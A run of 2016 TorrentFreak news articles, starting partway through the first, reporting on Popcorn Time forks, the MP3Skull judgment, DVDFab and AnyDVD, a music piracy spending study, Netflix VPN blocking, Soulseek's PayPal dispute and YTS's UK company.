<p>&#8220;After the &#8216;MPAA incident&#8217;, we&#8217;re a little diminished, and we&#8217;ve chosen a new direction: we&#8217;re shifting from an active development of Popcorn Time to a more or less resilience-driven development,&#8221; the team <a href="https://blog.popcorntime.sh/official-statement/">announced</a>.</p>
<p>Although at this point the team aren&#8217;t being more specific, in this case &#8216;resilience&#8217; appears to be avoiding the fate of the people who became known to the MPAA last year. Some of those people were quite open about their work on Popcorn Time and few measures were taken to hide identities, which in hindsight was probably their undoing.</p>
<p>This time around things seem to be taking a different shape. Instead of working on what is probably an illegal application, it appears that the software&#8217;s former developers are now working on &#8216;<a href="http://butterproject.org/">Butter</a>&#8216;, a relatively new streaming project with neutral technology and no illegal content.</p>
<p>However, the work and development that goes into Butter will then be leveraged by a separate team to power the variant of Popcorn Time using the .SH ccTLD.</p>
<p>&#8220;Most of our old teammates have left the ship to focus on a new technology, they called it Butter, and we use their platform as a base to make Popcorn Time,&#8221; the team says.</p>
<p>&#8220;The bonus is that we, as well as other existing and future projects, will indirectly profit from all the changes brought in Butter.&#8221;</p>
<p>So what we appear to have here is a line being drawn in the sand. On one side is Butter, a project that developers can work on (possibly) without fear of being tarnished with the stigma of Popcorn Time. On the other, people working on a Butter-based Popcorn Time who hope that they don&#8217;t suffer the same fate as their predecessors did last year.</p>
<p>The team behind the new variant has also addressed the question of monetization of the Popcorn Time platform. The founding ethos, which was only adhered to 100% by the <a href="https://torrentfreak.com/open-source-torrent-streaming-a-netflix-for-pirates-140308/">original, <em>original</em> project</a>, was to make no money. Generating money is seen as an Achilles&#8217; heel by some and the PopcornTime.sh team say they will return to a zero revenue setup.</p>
<p>&#8220;We&#8217;d like to add that we do not accept any donation and have no interest in monetizing Popcorn Time by any way: our philosophy hasn&#8217;t changed,&#8221; they note.</p>
<p>But far beyond the dangers of monetization and the wounds inflicted on Popcorn Time by the MPAA, the &#8216;brand&#8217; has been tarnished in recent months by a crowded marketplace filled with Popcorn Time clones, copies and wannabees. The new team also addresses these problems.</p>
<p>&#8220;The last four months have been chaotic. We&#8217;ve seem some forks keeping up the good work and others who just wanted to attract users into a trap of adwares &#038; malwares. We would like to take a moment to thank the <a href="https://reddit.com/r/PopCornTime/">Reddit Community</a> for taking things over while we were in standby.&#8221;</p>
<p>So what is the current state of play? Well the problem from potential users&#8217; perspectives is that no one is really able to say <em>absolutely definitively</em> which forks are totally trustworthy and which ones aren&#8217;t, since everyone is keen to hide their identities and remain unaccountable.</p>
<p>As a result it&#8217;s no longer possible to publicly point to a set of trustworthy developers and use their credentials to give credibility to a project. Not to say that some haven&#8217;t tried, however.</p>
<p><a href="media/3f5eb31f.cRBrr6z.png" data-original-source="https://i.imgur.com/cRBrr6z.png">A diagram</a> that has been circulating on Reddit attempts to put the current mess into an easy to understand format but claims that the Time4Popcorn fork (which incidentally has offered the most consistent service throughout) is somehow untrustworthy have never been backed up by solid proof.</p>
<p>Also, since no one is prepared to confirm who is behind the .SH version, users simply have to take their word for it that they are somehow linked with and/or trusted by the .IO team that was taken down last year. That assumption does generally exist but since there is no consistency and no public face it&#8217;s almost impossible for anyone to give it an official stamp of approval. </p>
<p>Perhaps the most important point is no matter who one speaks to about any variant of Popcorn Time, there is nearly always an element of bias. Some point to open source being the yardstick, others suggest that making no money is they key. Most users simply don&#8217;t care as long as free movies appear.  In future the proof of the pudding will probably have to be in the eating. </p>
<p>In any event, at least for now there appears to be three main editions of Popcorn Time (loosely PopcornTime.sh, Popcorn-Time.se and PopcornTime.ml), each with their own lines of development but only the former based on Butter. Whether it&#8217;s wise for them all to carry the same name is a matter for them but in any event confusion is likely to persist, as is the ever-looming threat from Hollywood.</p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=118450
title: RIAA Wins $22 Million Piracy Lawsuit Against MP3Skull
uri: RIAA-Wins-22-Million-Piracy-Lawsuit-Against-MP3Skull
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/7D3DeqmvkVg/
content:
<p><img src="media/f6100d5b.skull1.jpg" data-original-source="http://torrentfreak.com/images/skull1.jpg" alt="skull" width="180" height="71" class="alignright size-full wp-image-104587">Last year a coalition of record labels including Capitol Records, Sony Music, Warner Bros. Records and Universal Music Group <a href="https://torrentfreak.com/major-record-labels-sue-mp3skull-150420/">filed a lawsuit</a> against MP3Skull. </p>
<p>With millions of visitors per month the MP3 download site has been one of the prime sources of pirated music for a long time. </p>
<p>Despite facing a claim of millions of dollars in damages the owners of MP3Skull failed to respond in court. This prompted the RIAA to <a href="media/fe977f3f.mp3prop.pdf" data-original-source="https://torrentfreak.com/images/mp3prop.pdf">file</a> for a default judgment, describing MP3Skull as a notorious pirate site that promotes copyright infringement on a commercial scale.</p>
<p>Listing 148 music tracks as evidence, the companies asked for the maximum $150,000 in statutory damages for each, bringing the total to more than $22 million. After careful deliberation this request has now been granted by U.S. District Judge Marcia Cooke.</p>
<p>&#8220;Plaintiffs are awarded statutory damages from Defendants in the amount of $22,200,000, for which let execution issue,&#8221; Judge Cooke writes in her order (<a href="media/b0b74f08.skulldef.pdf" data-original-source="http://torrentfreak.com/images/skulldef.pdf">pdf</a>).</p>
<p>In addition, the Judge has issued a permanent injunction preventing the site&#8217;s operators from engaging in copyright-infringing activity in the future.</p>
<p>On paper the case is another big win for the RIAA, who <a href="https://torrentfreak.com/riaa-defeats-grooveshark-clone-in-court-wins-17-million-151214/">defeated</a> a Grooveshark clone in a similar fashion last year. Whether it will do much to stop the infringements has yet to be seen though. </p>
<p>After the lawsuit was filed MP3Skull hopped from domain to domain and currently it&#8217;s still online, operating from mp3skull.yoga without any noticeable changes. </p>
<p><center><strong>Mp3Skull is still active</strong><br></br></center><center><img src="media/7502b8f3.skull-kanye.jpg" data-original-source="http://torrentfreak.com/images/skull-kanye.jpg" alt="skull-kanye" width="600" height="314" class="alignnone size-full wp-image-118458"></center></p>
<p>To stop future abuse the RIAA was granted a permanent injunction which allows it to seize control of other MP3Skull domains, or compel the associated registry to sign them over.</p>
<p>&#8220;Defendants shall immediately transfer the MP3Skull Domains to Plaintiffs’ control,&#8221; the injunction reads, adding that the domain registry should step in if the operators fail to comply. </p>
<p>&#8220;&#8230;the top level domain registry for each of the MP3Skull Domains shall, within thirty days of receipt of notice of this Order, change the Registrar of Record for each MP3Skull Domain to a Registrar of Plaintiffs’ choosing,&#8221; it adds.</p>
<p>The permanent injunction lists various domain names but not the one with MP3Skull&#8217;s latest &#8220;yoga&#8221; TLD. </p>
<p>This is likely to trigger a cat and mouse game, with MP3Skull switching domains, hoping to evade the reach of the U.S. court order, until one of the parties decides to throw in the towel. </p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=118499
title: DVDFab Says No Crack For Next-Gen Blu-ray Discs
uri: DVDFab-Says-No-Crack-For-Next-Gen-Blu-ray-Discs
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/4PgZYID6Y7E/
content:
<p><a href="media/f6f2c3ac.dvdf.jpg" data-original-source="http://feed.torrentfreak.com/images/dvdf.jpg" rel="attachment wp-att-103142"><img src="media/71ee9633.dvdf.jpg" data-original-source="http://torrentfreak.com/images/dvdf.jpg" alt="dvdf" width="275" height="178" class="alignright size-full wp-image-103142"></a>SlySoft was a company that gained a reputation for producing software designed to circumvent copyright protection mechanisms. Among them was AnyDVD, a device driver for Windows which allowed users to decrypt DVDs and Blu-ray discs on the fly.</p>
<p>Under pressure from AACS LA, a decryption licensing outfit founded by a group of powerful Hollywood movie studios and various technology partners, SlySoft first went dark and then <a href="https://torrentfreak.com/popular-blu-ray-ripper-shuts-down-following-legal-pressure-160224/">announced</a> its closure this week.</p>
<p>And now, in the space of just a couple of days, another DVD/Blu-ray copying software company also appears to be feeling the heat.</p>
<p>Like SlySoft, China-based Fengtao Software has also been involved in a dispute with AACS LA and in 2014 was the subject of a preliminary injunction after a court found that DVDFab violates the DMCA’s anti-circumvention clause. In 2015 a federal court in New York <a href="https://torrentfreak.com/u-s-court-extends-global-shutdown-of-dvd-ripping-software-150323/">extended the injunction</a>, further pressuring the company.</p>
<p>Then yesterday, just a day after the closure of SlySoft, Fengtao dropped a bombshell of its own. In a press release sent to <a href="http://www.myce.com">Myce</a> the company announced that DVDFab will not be updated to crack the Advanced Access Content System encryption that will be present in the next generation of 4K UHD Blu-ray discs.</p>
<p>&#8220;The next version of AACS Copy Protection accompanying those newly released Ultra HD Blu-ray titles is the version 2.0 of Advanced Access Content System. According to a document called AACS 2.0 Draft, the new copy protection requires the Ultra HD Blu-ray players to support two AACS 2.0 functionalities, one named &#8216;basic&#8217; and the other referred as &#8216;enhanced&#8217;,&#8221; the company said in a statement.</p>
<p>&#8220;Fengtao Software Inc. makes it clear that the company will not decrypt or circumvent AACS 2.0 in the days to come. This is in accordance with AACS-LA, (which has not made public the specifications for AACS 2.0), <a href="http://www.blu-raydisc.com/en/index.aspx">the BDA</a> and the movie studios.&#8221;</p>
<p>Noting that the debate over copying commercial movie discs for home use has &#8220;raged on for decades&#8221;, Fengtao says that the practice of decrypting copy protection technology has done so too and is not likely to stop in the foreseeable future. Even the fact that AACS 2.0 requires an Internet connection for Ultra HD Blu-ray discs to be played back for the first time is unlikely to stop the problem.</p>
<p>&#8220;Now here comes the question: will there be a solution to crack AACS 2.0? Likely, there will be, publicly or secretly,&#8221; the company says. Nevertheless, Fengtao insists that it won&#8217;t be behind the effort.</p>
<p>The company won&#8217;t be shutting down though. Fengtao says that it will concentrate its development efforts on DVDFab and its support for editing 4K/UHD content.</p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=118335
title: Pirates Spend Much More Money on Music, Study Shows
uri: Pirates-Spend-Much-More-Money-on-Music-Study-Shows
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/FMrcyr8iwKk/
content:
<p><img src="media/7abb2d22.cassette.jpg" data-original-source="http://torrentfreak.com/images/cassette.jpg" alt="cassette" width="200" height="150" class="alignright size-full wp-image-84245">Over the past several years numerous studies have looked at the effects of piracy on the music industry. </p>
<p>One very consistent result seems to be that pirates are not by definition cheapskates. On the contrary, they tend to <a href="https://torrentfreak.com/uk-movie-pirates-spend-way-more-at-the-box-office-121122/">spend more money</a> on merchandise, theater visits and concerts. </p>
<p>This week a new study conducted by the entertainment industry research firm <a href="http://www.musicwatchinc.com/">MusicWatch</a> confirmed this trend. </p>
<p>First off, the results of the survey debunk a popular belief that the number of music pirates is falling. While P2P sharing appears to be down, the use of popular alternatives including mobile apps and direct download sites has increased. </p>
<p>Overall, the study estimates that 57 million Americans between the ages of 13 and 50 admit to acquiring music through unauthorized sources. That&#8217;s a very significant number which will undoubtedly cause concern among music industry executives.</p>
<p>In part people turn to piracy because they don&#8217;t want to pay. However, there&#8217;s also a large group of legal music consumers who pirate tracks in addition to buying CDs or paying for legal downloads. </p>
<p>More than one-third of all music buyers (35%) pirate tracks on the side. Interestingly, this group appears to consist of the music industry&#8217;s most valuable customers.</p>
<p>The results show that average Americans (pirates included) spend $19 on CDs and music downloads per year, a number that goes up to $33 among pirates alone. </p>
<p>Similarly, the study finds that the average music buyer (pirates included) spend an average of $45 per year, compared to $61 for the subgroup of pirating music buyers. Extra data which MusicWatch kindly shared shows that non-pirates spent just $36 on average.  </p>
<p>In addition, the results also show that pirates are more likely to use paid streaming services.</p>
<p><center><strong>Money ($) spent on CDs and paid downloads</strong><br></br></center><center><img src="media/1df1af9e.musicspending.png" data-original-source="http://torrentfreak.com/images/musicspending.png" alt="musicspending" width="611" height="293" class="alignnone size-full wp-image-118439"></center></p>
<p>The findings clearly show that pirates spend more money on legal music than those who only consume music through authorized sites and services. So how can this be?</p>
<p>The most logical explanation for this finding is that “pirates” are more engaged than those who don’t share, and that they complement their legal purchases with unauthorized downloads. </p>
<p>Of course, none of the above says anything about the effect of piracy on legal consumption. The people who are now classified as pirates may pay even more if piracy disappeared overnight, or less because they can&#8217;t sample any music.  </p>
<p>What it does show is that half of all music pirates are paying customers and these people are bringing in a lot of money. If anything, the music industry should be cautious to brand these pirates as thieves, because they are their most valuable consumers. </p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=118409
title: Tens of Thousands Protest Netflix’s Expanding VPN-Blockade
uri: Tens-of-Thousands-Protest-Netflix-s-Expanding-VPN-Blockade
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/H4y_ofD0hU4/
content:
<p><img src="media/b310fc7c.netflix-logo.png" data-original-source="http://torrentfreak.com/images/netflix-logo.png" alt="netflix-logo" width="200" height="121" class="alignright size-full wp-image-69714">Last month Netflix announced that it would increase its efforts to <a href="https://torrentfreak.com/netflix-announces-crackdown-on-vpn-and-proxy-pirates-160114/">block customers</a> who circumvent geo-blockades. </p>
<p>As a result it has become harder to use VPN services and proxies to access Netflix content from other countries, something various movie studios have <a href="https://torrentfreak.com/why-netflix-vpn-pirates-shouldnt-terrify-hollywood-160116/">repeatedly called for</a>.</p>
<p>With the application of commercial blacklist data, Netflix already blocks IP-addresses that are linked to such services, something which also affects well-intentioned customers who merely use a <a href="https://torrentfreak.com/anonymous-vpn-service-provider-review-2015-150228/">VPN to protect their privacy</a>. </p>
<p>Instead of providing access to the latest video entertainment, Netflix then serves the following error message to these blocked users. </p>
<p><center><img src="media/5f15d785.netflix-block.jpg" data-original-source="http://torrentfreak.com/images/netflix-block.jpg" alt="netflix-block" width="631" height="242" class="alignnone size-full wp-image-118247"</a></center></p>
<p>In recent weeks TorrentFreak has kept a close eye on the expanding blockade and its aftermath. We&#8217;ve learned that servers belonging to many popular commercial VPN services have been <a href="https://www.reddit.com/r/netflix/comments/47e3o1/mods_can_we_get_a_moratorium_on_netflix_blocked/">added</a> to the blocklist, including ExpressVPN, Mullvad, Private Internet Access and StrongVPN.</p>
<p>While the blocks are being rolled out in phases, it&#8217;s already clear that some VPN users can&#8217;t access Netflix, even if the VPN server is located in the same country as they are. This means that Americans can no longer use a U.S. VPN server to protect their privacy. </p>
<p>Ironically, Netflix is even restricting access to its own original series, despite being the primary rightsholder.</p>
<p>This approach is meeting fierce resistance from many sides. To coordinate the protest Digital rights organization OpenMedia has started an OpenMedia <a href="https://act.openmedia.org/netflix">petition</a> urging Netflix to rethink its approach, which has already been signed by more than 33,000 people.</p>
<p>&#8220;Privacy is a huge priority for us as a digital rights organization, and that VPNs are probably the simplest, most user-friendly way for everyday Internet users to safeguard their online activities,&#8221; OpenMedia spokesperson David Christopher informs TorrentFreak.</p>
<p>&#8220;Given that a huge percentage of the population uses Netflix, if they were all forced to stop using VPNs, that would represent a major setback for privacy,&#8221; he adds.</p>
<p>OpenMedia itself has been affected by the new measures as well, as some of their staff members can no longer watch Netflix without having to turn off their VPN. </p>
<p>The group is concerned that Internet users are being forced to give up their privacy when they are not even trying to circumvent any geo-blockades. A better way would be to restrict content based on people&#8217;s credit card addresses, which doesn&#8217;t require any VPN blocking.</p>
<p>&#8220;We&#8217;re cooking up plans to take this message directly to Netflix and hope that if enough people speak up, Netflix will listen to their customers and find a better way,&#8221; Christopher says. </p>
<p>Meanwhile, the complaints keep pouring in on social media. There are even reports from users who are blocked <a href="https://twitter.com/csilverandgold/status/702425779657900032?ref_src=twsrc%5Etfw">without</a> even using a VPN. In addition, several people claim to have <a href="https://twitter.com/sihuimoos/status/702039381377314816">ended their Netflix</a> subscriptions due to the restrictive policies, and some hint at <a href="https://twitter.com/ConArtCritic/status/702292958792568832?ref_src=twsrc%5Etfw">going back</a> to their old pirate ways. </p>
<p>Despite the public outrage, Netflix said that it&#8217;s not worried about a subscriber exodus. “I don’t think we will see any impact,” CEO Reed Hastings said in a shareholders&#8217; interview last month.</p>
<p>In the long-term the company hopes to make the entire geo-blocking discussion obsolete by offering movies and TV-shows worldwide. But given Hollywood&#8217;s reluctance to adapt, it may take a few years before this will be realized.</p>
<p><center><a class="twitter-timeline" data-dnt="true" href="https://twitter.com/search?q=netflix%20vpn%20block%20OR%20blocked%20OR%20blocking%20OR%20detecting%20OR%20work%20OR%20working" data-widget-id="702491041786675200">Tweets about netflix vpn block OR blocked OR blocking OR detecting OR work OR working</a><br>
<script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?'http':'https';if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+"://platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs");</script></center></p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=118477
title: Pirate Groups Fear Release Delays After AnyDVD Shutdown
uri: Pirate-Groups-Fear-Release-Delays-After-AnyDVD-Shutdown
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/waseHMx6n6M/
content:
<p><img src="media/b5a165be.anydvdlogo.jpg" data-original-source="http://torrentfreak.com/images/anydvdlogo.jpg" alt="anydvdlogo" width="250" height="250" class="alignright size-full wp-image-118487">After having <a href="https://torrentfreak.com/slysoft-dvd-ripper-owner-found-guilty-in-criminal-action-140403/">fought pressure</a> from Hollywood for over a decade, <a href="https://en.wikipedia.org/wiki/SlySoft">SlySoft</a> threw in the towel earlier this week. </p>
<p>The company <a href="https://torrentfreak.com/popular-blu-ray-ripper-shuts-down-following-legal-pressure-160224/">shut down</a> its main website at Slysoft.com and ceased to provide new updates to its popular Blu-Ray ripping tool AnyDVD. An announcement posted in the forums suggests that the decision is part of a deal.</p>
<p>&#8220;We were not allowed to respond to any request nor to post any statement, but now it is official: SlySoft has been shut down after almost 13 years,&#8221; SlySoft&#8217;s Tom <a href="https://forum.slysoft.com/threads/slysoft-closed.68304/">announced</a>. </p>
<p>&#8220;I am really sorry for that, but this is final. SlySoft is gone..,&#8221; he adds</p>
<p>To most laypeople the news may be easily discarded as &#8216;just&#8217; another company falling victim to Hollywood&#8217;s copyright enforcement. However, insiders warn that it may have a massive impact on millions of movie pirates. </p>
<p>For many years AnyDVD (HD) has been the go-to tool to crack Blu-Ray encryption, pretty much without competition. </p>
<p>In recent days TorrentFreak has spoken to several prominent release group insiders who fear that future Blu-Ray releases will take much longer to appear because their copy protection will be harder to circumvent.</p>
<p>&#8220;This will delay things for new releases that have updated AACS protection or completely kill AACS decryption from SlySoft,&#8221; the operator of a popular P2P group informed TF.</p>
<p>&#8220;Alternatives usually delay updates two to three months. If they don&#8217;t pick up the slack Hollywood have just won a huge victory, because future releases that have updated AACS protection will be delayed,&#8221; he adds.</p>
<p>Another insider confirms the concerns, noting that SlySoft has often gone to great lengths to ensure that new copy protections are cracked as soon as possible.</p>
<p>&#8220;Over the past decade SlySoft has been the main ripping tool for Scene groups, P2P groups and just about everyone,&#8221; our second source says. </p>
<p>While it&#8217;s currently unclear what will happen during the weeks and months to come, a feeling of uncertainty appears to dominate among many pirate movie release and distribution groups.</p>
<p>&#8220;The loss of SlySoft is being rapidly discussed among all movie pirate groups and there is no consensus yet for what is to come next, just concern,&#8221; our source says.</p>
<p>As for the future, there are a few things that may happen. </p>
<p>It&#8217;s possible for competitors such as DVDFab to pick up the slack and release their copy protection cracks in a timely fashion. However, the latter has already announced that it <a href="https://torrentfreak.com/dvdfab-says-no-crack-for-next-gen-blu-ray-discs-160226/">won&#8217;t break</a> the copy protection of Ultra HD Blu-Ray discs, so there&#8217;s not much faith in this option. </p>
<p>It&#8217;s also possible that AnyDVD will make a comeback in some shape or form. Or perhaps defiant members of the old team will re-brand it and continue their work from another jurisdiction. Alternatively, they could continue to offer their services in the background, without a public facing website. </p>
<p>The third option is a more grim scenario for pirates, one in which copy protection becomes more effective, possibly delaying pirate Blu-Ray releases by weeks or months. </p>
<p>This is the scenario AACS and Hollywood are hoping for.</p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=118516
title: File-Sharing Site’s PayPal Account Returns After EFF Intervention
uri: File-Sharing-Site-s-PayPal-Account-Returns-After-EFF-Intervention
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/2zO-mKmnQho/
content:
<p><a href="media/de92d5cd.eff.jpg" data-original-source="http://feed.torrentfreak.com/images/eff.jpg" rel="attachment wp-att-31200"><img src="media/2aa8451f.eff.jpg" data-original-source="http://torrentfreak.com/images/eff.jpg" alt="eff" width="190" height="129" class="alignright size-full wp-image-31200"></a>For much of the last decade, PayPal was used on hundreds of file-sharing sites and services in order to accept donations from users. It was convenient for everyone concerned but copyright holders were less than impressed.</p>
<p>Slowly but surely PayPal, along with payment processors including Visa and Mastercard, were put under pressure to either server their links with piracy-focused sites or raise the bar so that sites operating in potential gray areas would find it difficult to meet strict criteria. PayPal later required that file-sharing services obtain pre-approval before using their facilities.</p>
<p>After 14 years of doing business with PayPal, in 2015 veteran P2P file-sharing software Soulseek found itself a victim of the payment processor&#8217;s tightening grip. The non-commercial music-swapping service had used its PayPal account to receive donations from users but all that came to an end when PayPal abruptly <a href="https://torrentfreak.com/paypal-bans-file-sharing-classic-soulseek-after-14-years-151205/">closed its account</a>.</p>
<p>After being stonewalled by PayPal who had permanently limited the service&#8217;s account, Roz Arbel (who runs Soulseek with husband Nir) reached out to the EFF, who intervened on the service&#8217;s behalf. The decision worked wonders.</p>
<p>&#8220;Thanks entirely to Rainey Reitman, the EFF&#8217;s Activism Director, we are very happy to announce that our PayPal account has been restored!!!&#8221; Soulseek <a href="http://www.slsknet.org/news/node/3419">announced</a>.</p>
<p>&#8220;As the EFF has helped us many times in the past, it seemed natural to reach out to Rainey, who has written a number of EFF blog posts specifically about PayPal and credit card companies. We want to send a shout-out to Rainey Reitman and the EFF for all that they do.&#8221;</p>
<p>In a piece penned by <a href="https://www.eff.org/about/staff/rainey-reitman">Rainey Reitman</a> herself, the EFF says that the actions against Soulseek represent a rising threat to free speech.</p>
<p>&#8220;Threats to free expression online can come in many forms, but shutting down or limiting a law-abiding website is censorship,&#8221; Reitman <a href="https://www.eff.org/deeplinks/2016/02/kafkaesque-battle-soulseek-and-paypal-and-why-free-speech-defenders-should-be">writes</a>.</p>
<p>&#8220;While the situation with Soulseek turned out well in the end, we’re concerned about the many websites we haven’t heard from that may be facing similar problems. It’s time for the payment providers to start erring on the side of supporting legal speech and let courts — not arbitrary corporate policies — decide what content should be censored.&#8221;</p>
<p>It&#8217;s been known for some time that PayPal now requires file-sharing and related services to obtain pre-approval to a set of <a href="media/23d3ea92.paypalp2p.jpg" data-original-source="https://torrentfreak.com/images/paypalp2p.jpg">strict standards</a>, but Soulseek was actually given a questionnaire to complete in order to validate its service with PayPal.</p>
<p>Reproduced in full below, it&#8217;s the clearest indication yet that copyright holders are breathing heavily down PayPal&#8217;s neck and if they didn&#8217;t actually write the questionnaire themselves, they certainly played a massive role in its production.</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>1. <strong>Business Overview.</strong> Please provide a general overview of your business, identifying all related website URLs or apps, describing the services you offer and how revenue is earned, and indicating how you use or would like to use PayPal’s services. (The terms “you” and “your” refer to your business in the remainder of this questionnaire.) </p>
<p>2. <strong>Typical Usage.</strong> Please describe the kinds of files that are most often stored or transferred using your services (indicating, for example, typical file types, sizes, content and/or other relevant attributes) and, to the extent of your knowledge, the typical purposes that your customers have for using your services.</p>
<p>3. <strong>Incentives for Uploaders.</strong> Do you offer rewards, cash payments or other incentives to some or all users who upload files? If so, please describe your related practices, including the criteria used to determine the nature and amount of incentives that users are entitled to receive.</p>
<p>4. <strong>Membership Tiers and Benefits.</strong> Please describe any membership tiers, subscription plans or service levels that you offer (e.g., “free,” “premium,” etc.), indicating for each any payments required and the main benefits  users receive. Are paying users entitled to enhanced benefits related to downloading or otherwise accessing files uploaded by other users, such as faster access speeds, higher allowances for total amount of data accessed, or the reduction/elimination of wait times, captchas or advertising? If so, please describe the related terms.</p>
<p>5. <strong>Forum Codes.</strong> Do you offer “forum codes,” “URL codes,” “HTML codes” or other features that facilitate the incorporation of links to uploaded files on third-party websites? If so, please describe such features.</p>
<p>6. <strong>Link Checker.</strong> Do you offer users a link checker or other functionality that helps users determine whether links to uploaded files have been disabled. If so, please describe such functionality. </p>
<p>7. <strong>File Deletion.</strong> Please describe any practices you employ related to the expiration, purging or other automated deletion of uploaded files. Is the timing of a file’s deletion influenced by the frequency with which it is downloaded or otherwise accessed? If so, please explain.</p>
<p>8. <strong>Information Collection.</strong> Do you collect information about the uploaders of files? If so, please describe your related practices, including whether you collect any of the following: name, postal address, email address and IP address.</p>
<p>9. <strong>Repeat Infringement.</strong> Please describe any practices you employ to prevent users of your system from uploading copyright infringing files on multiple occasions. Please include information about any technological methods you use to identify repeat infringers, such as methods involving the IP addresses of computers used to upload files. If a policy or other information related to repeat infringement is available on your website, please provide a link.</p>
<p>10. <strong>Copyright Infringement Reports.</strong> Please describe your practices related to soliciting, receiving and responding to reports from third parties about copyright-infringing files accessible through your service. If a policy, reporting instructions or other information related to such practices (e.g., a DMCA policy) is available on your website, please provide a link.</p>
<p>11. <strong>Illegal File Reports.</strong> Please describe your practices related to soliciting, receiving and responding to reports from third parties about illegal files accessible through your service (other than reports of copyright infringement covered by Item 10 above). If a policy, reporting instructions or other information related to such practices is available on your website, please provide a link.</p>
<p>12. <strong>Monitoring.</strong> Do you employ any practices involving the monitoring of uploaded files to identify and remove copyright infringing files or other illegal files? If so, please describe those practices, including any manual review or automated scanning of files performed by your staff or by any third-party firms. Please indicate the names and website URLs of any such third-party firms. </p>
<p>13. <strong>Law Enforcement Cooperation.</strong>  Please describe your practices with respect to responding to    requests or orders from law enforcement, courts or other government bodies, such as information requests, discovery orders, search warrants and subpoenas.</p>
<p>14. <strong>Child Exploitation.</strong> Please describe any actions you take if you become aware that a file      uploaded to your system involves child exploitation or any             sexually-oriented depiction of a minor.          </p>
<p>15. <strong>Other Controls.</strong> If you employ any processes or controls not otherwise covered in your responses to this questionnaire that are aimed at preventing or otherwise addressing any actual or potential use of your system for the storage or transfer of illegal files or for other illegal activities, please describe them. </p>
<p>16. <strong>Point of Contact.</strong> Please identify and provide contact information (including phone number and email address) for a person who will serve as PayPal’s point of contact with respect to our review of your business and any future inquiries or concerns we may have.</p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=118468
title: YTS / YIFY Has a Company in the UK & It’s About to Close Down
uri: YTS-YIFY-Has-a-Company-in-the-UK-It-s-About-to-Close-Down
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/6hAZJyqIIDg/
content:
<p><img src="media/b78d32dc.YTS.png" data-original-source="https://torrentfreak.com/images/YTS.png" width="211" height="91" class="alignright">If one had to create a list of the most influential torrent sites of the last decade, YTS/YIFY would certainly be among the top 10.</p>
<p>After arriving on the scene in 2010 the group shared more than 6,000 releases, on the way making YIFY one of the most <a href="https://torrentfreak.com/yify-hollywood-nemesis-becomes-iconic-piracy-brand-131005/">recognizable piracy brands</a> in the history of file-sharing.</p>
<p>Responsible both directly and indirectly for the sharing of countless millions of movies by millions of devoted fans, YTS/YIFY was bound to attract negative attention from the powerful businessmen of Hollywood. And, sure enough, in October 2015 the <a href="https://torrentfreak.com/yify-yts-may-be-gone-for-good-151026/">site disappeared</a>, leaving only speculation in its wake.</p>
<p>Soon, however, the fog began to clear. Early November the MPAA <a href="https://torrentfreak.com/mpaa-we-shut-down-ytsyify-and-popcorn-time-151103/">confirmed</a> it had shut down the operation, with its alleged New Zealand-based mastermind facing a multi-million dollar lawsuit.</p>
<p>Somewhat surprisingly the dispute with the site&#8217;s owner was quickly handled after he reached a private settlement deal with the studios. The terms have never been made public but several months on there are some interesting loose ends to tie up 11,600 miles away in the UK.</p>
<p>This may come as a surprise, but YTS/YIFY wasn&#8217;t just a website domain carrying torrents for DVD rips. It was in fact a fully registered company in the United Kingdom. On February 5, 2015, YTS (RE) Limited was incorporated under the company number 09424588.</p>
